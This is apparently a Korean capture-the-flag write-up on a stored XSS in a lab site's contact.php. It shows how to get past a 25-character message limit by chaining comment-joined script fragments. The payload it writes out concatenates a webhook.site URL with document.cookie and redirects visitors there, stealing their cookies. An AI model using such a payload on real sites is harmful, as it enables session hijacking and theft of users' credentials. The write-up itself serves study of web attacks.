4개의 페이지가 보인다.
index.php about.php contact.php login.php
contact.php가 딱 xss 터지기 좋아보이는데, 얼핏 보면 안 터지는 듯 하지만, 아래쪽 Previous messages에서 xss가 터진다.
<script>alert(1)
넣어보면 터진다.
자세한 것은 html 코드 보면 알 수 있는데, 글자수 제한(25자) 걸어서 뒤를 자르고 </a>
를 붙이기 때문에 사라지는 것을 볼 수 있다.
자바스크립트를 삽입할 것인데, 뒤에 나오는 모든 문자열을 공백으로 만들기 위해 /* */
를 사용하였다.
삽입하고자 하는 코드는 아래와 같다.
document.location = "<https://webhook.site/#!/f624c975-b402-4934-9d0a-979334f9fd7c>";
이걸 25자 단위로 나눠서 넣으려고 하면 이렇게 넣어줘야 한다.
<script>a="https://"/*
*/+"webhook.site/"/*
*/+"f624c975"/*
*/+"-b402-4934"/*
*/+"-9d0a-9793"/*
*/+"34f9fd7c"/*
*/+"?cookie="/*
*/+document.cookie;/*
*/document.location=a;/*
*/</script>
이렇게 했을 때에 contact.php에 접속만 해도 webhook.site에 다음과 같이 잡힌다.